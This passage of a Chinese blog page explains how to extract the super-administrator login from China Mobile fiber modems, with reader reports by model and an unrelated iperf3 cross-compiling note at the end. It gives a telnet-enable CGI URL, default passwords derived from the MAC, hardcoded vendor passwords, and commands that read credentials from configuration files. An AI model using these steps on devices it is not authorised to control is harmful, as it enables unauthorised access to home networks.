变成了54:e0:05:2a:4f:20

5、现在，请你把所有字母变成大写，并把冒号删掉，变成了54E0052A4F20

第二步开启Telnet

1、在浏览器中输入http:/192.168.1.1/cgi-bin/telnetenable.cgi?telnetenable=1&key=

2、把你刚刚编辑过的MAC加到这堆东西后面，就变成了

http:/192.168.1.1/cgi-bin/telnetenable.cgi?telnetenable=1&key=54E0052A4F20

3、此时，你应该看到“telnet开启”

你应该看到这个

如果浏览器显示“操作错误”，那么就是MAC没有获取对

第三步获取超级密码

1、打开cmd（Windows）或者 Terminal终端（macOS）

2、执行

telnet 192.168.1.1

你应该看到login：

你应该看到这个

3、然后，在login:后面执行

admin

对话框会提示你输入密码

在Password:后面输入Fh@加上你获取的MAC的后6位，比如说我这里就是Fh@2A4F20

这时，对话框会出现一个#

注：输密码的时候不显示密码是正常现象（密码保护机制），如果怕输错可以用记事本编辑好密码之后复制粘贴。粘贴时要用右键，不要用Ctrl-V！

4、分别尝试两种指令

①尝试执行

load_cli factory show admin_name show admin_pwd

对话框会显示

成功！

admin_name=后面的内容就是超级户名，admin_pwd=后面的内容就是超级密码。

②如果对话框显示Unknown command，在上一步的基础上请尝试以下指令：

exit cfg_cmd get InternetGatewayDevice.DeviceInfo.X_CMCC_TeleComAccount.Username cfg_cmd get InternetGatewayDevice.DeviceInfo.X_CMCC_TeleComAccount.Password

对话框会显示

get success!value=后面的内容就是超级用户名和超级密码。

5、访问192.168.1.1，把账户名和密码输进去，就进入管理员模式啦！

问题解答： Q：输入telnet 192.168.1.1 时提示“telnet不是内部或外部程序” A：Windows用户请去Windows功能中开启“Telnet客户端” macOS用户请去Terminal终端输入brew install telnet（不会有人没有brew吧） Q：admin输入完之后无法输入密码 A：这是密码保护机制，输密码的时候是看不见的，你只管输入，输完回车即可（可用记事本编辑好密码之后复制粘贴） Q：输完用户名和密码之后提示Login incorrect A：用户名或密码有误，请检查大小写与拼写

北京HG6045F3可用

吉林移动，智能家庭网关类型18，HG6042A

福建移动HG6042A1测试成功

福建移动,光猫型号烽火HG6201M,用户名root,密码Fh@MAC地址后六位(大写),亲测成功,希望帮到更多的人.

广东移动HG6142A1成功

广东移动HG6042A2成功了，原来不是在工厂模式里输入cfg_cmd命令，显示“$”的时候输入就好了

重庆移动HG6042A1成功

连云港移动HG6042A1

武汉移动HG6142A1成功

安徽移动型号HG6201M 成功

山西太原 HG6045F3 成功

四川移动hg6145d1，使用楼主的方法，第二步开启telent，页面显示无权限。可以参考这个提供的超级密码，亲测可行。

找到运营商屏蔽了telnet指令的解决办法了，参考了恩山大佬的帖子（https://www.right.com.cn/forum/thread-8386512-1-1.html），进fhdata，cat usrconfig_conf扒出来的。最后的结论是：telnet登陆后不要进入工厂模式，直接输入cfg_cmd get InternetGatewayDevice.DeviceInfo.X_CMCC_TeleComAccount.Username获取管理员账号；输入cfg_cmd get InternetGatewayDevice.DeviceInfo.X_CMCC_TeleComAccount.Password获取管理员动态密码。

HG51e广东移动 1、开启光猫telnet:浏览器输入地址——>http://192.168.1.1/webcmcc/telnet.html 2、登录telnet：用光猫背后的账号密码，远程telnet 3、查看超级管理员密码：cat /config/work/lastgood.xml | grep aucTeleAccountPassword

浙江移动HG6045F3在在Password:后面输入Fh@Mac后六位之后出现$

辽宁移动 HG6145F3 成功

上海移动 HG5145F，顺利搞定

中兴F7005mv3（移动版）,这个型号买的时候要记住让商家固化telnet，应该到手的时候默认远程Telnet是开启的，因为第一步没有用（应该可以物理链接光猫）。随后打开控制台，输入telnet 192.168.1.1，输入账号和密码，默认是root 和 Zte521。随后直接输入sendcmd 1 DB set DevAuthInfo 0 Pass nE7jA%5m 这串代码是把超级密码设置为nE7jA%5m ，当然你也可以设置成别的，但是密码复杂度一定要够。至于超级账号名，移动默认是CMCCAdmin。至于其他运营商的超级账号名都能查到。

HG267GT。使用文章方法开启telnet无效，无任何提示跳转到登陆页面；使用user登陆后则提示Invalid Session Key, please try again。访问http://192.168.1.1/logoffaccount.html可以打开免登录设置，启用隐藏用户（保存），然后使用fiberhomehg2x0，hg2x0登陆进入，可以看到开启telnet的选项（保存），并且可以设置端口账号密码。在cmd中，telnet可以使用前面保存的账号登陆，文章中的密码无效，登陆进去之后是 > 符号而非 #，无法执行这些命令，cat也找不到文件，所以admin应该不是正确的账号；而root也无法登陆，各种发现的密码均无效（包括文中的），最终卡在了这里

浙江移动：HX5-9sLite 1. 开启光猫的Telnet功能‌：通过浏览器访问http://192.168.1.1/usr=CMCCAdmin&psw=aDm8H%25MdA&cmd=1&telnet.gch，成功后会显示“TelnetSet Success!”。 2. telnet 192.168.1.1 输入用户名 CMCCAdmin 和密码 aDm8H%MdA 3. su 输入密码aDm8H%MdA 4. sidbg 1 DB decry /userconfig/cfg/db_user_cfg.xml 5. cat /var/tmp/debug-decry-cfg 6. 找到DevAuthInfo，拿到登录用户名: CMCCAdmin 密码: CMCCAdminLh5*n6Ew ，使用此密码可以登录网页

广西移动hs8546v6，开启telnet时，输入链接直接跳转到192.168.1.1，没有显示经排查，华为浏览器在跳转时会在原链接后面加入不存在的字符，删掉即可正常访问

湖南h6201m，先是按前面的操作，MAC记得大写，登陆的账号为root，密码则与up相同。密码直接复制粘贴回车即可，不显示是正常的。登陆后直接使用命令cat /flash/cfg/agentconf/factory.conf（来自评论区），然后复制保存起来，Telecom开头的就是账号密码。

移动H2-2 开启telnet 404 没反应我直接恢复出厂设置把远程管理里面的RMS服务器关了手动输入宽带密码后面就正常拿原来的超级管理员登陆

其他反馈:

HG6543C4开启telnet开启成功但是账号密码错误admin和root都试过了

上海移动HN8145XR 没办法打开telnet 打开链接就跳转到路由器了

深圳移动 H2-3e无效，开启telnet一步正确抄写mac仍提示500 server error

四川移动HG6145D2在浏览器开启Telnet显示无权限。。。。

陕西移动光猫：HG6543C4 可以进入cmd，登陆成功，但是第四步输入： load_cli factory show admin_name show admin_pwd 然后显示Unknown command，请问如何解决呢？

重庆。H220-S，提示404 Not Found

贵州移动光猫：吉比特（ZXHN F663NV9）第二步返回 404 Not Found The requested URL was not found on this server.

上海移动HUAWEI OptiXstar V173第一步的打开telnet，直接就进入web登录界面，不是开启telnet功能

广西移动H2-3 类型三，第二步失败，显示502 Bad Gateway The CGI was not CGI/1.1 compliant.

四川移动H2-3无法开启telnet，显示502 Bad Gateway The CGI was not CGI/1.1 compliant.软件版本V2.6.03.01

HG6201M，方法二在telnet登录时密码 Fh@A96080 无效，会提示Login incorrect

浙江移动吉比特 G-1426-MA CMD命令后是这样的： C:\Users\Xia25>telnet 192.168.1.1 正在连接192.168.1.1...无法打开到主机的连接。在端口 23: 连接失败

iperf3交叉编译--静态

Thu, 26 Dec 2024 14:07:27 +0800

1.1 获取源代码

git clone https://github.com/esnet/iperf.git

1.2 编译

1. 配置

a) 静态链接库

./configure --host=aarch64-linux-gnu --without-sctp --prefix=/mnt/20241226/iperf_install --enable-static-bin

参数解析：

--host=aarch64-none-linux-gnu ——>配置并指定交叉编译工具链;

--prefix=/home/cw/tools/iperf_install ——>指定安装路径，如果不添加，配置文件中会有一个默认安装路径，如果是交叉编译时（给其它平台编译时），最好加上，这样直接执行make install时，可以把相关文件放到此目录下；

--without-sctp

1, SCTP还没有静态连接库，所以最好在configure时也加上 --without-sctp配置项，去除SCTP的支持。

2, 会出现这样的告警，warning: Using ‘getaddrinfo’ in statically linked applications requires at runtime the shared libraries from the glibc version used for linking，查了一下

，这个问题是glibc的遗留问题，似乎无解。

2. 编译源码

make

3. 安装

make install

示例

cw@svr20:~/iperf$ ls ../iperf_install/*

../iperf_install/bin:

iperf3

../iperf_install/include:

iperf_api.h

../iperf_install/lib:

libiperf.a libiperf.la

../iperf_install/share:

工具链信息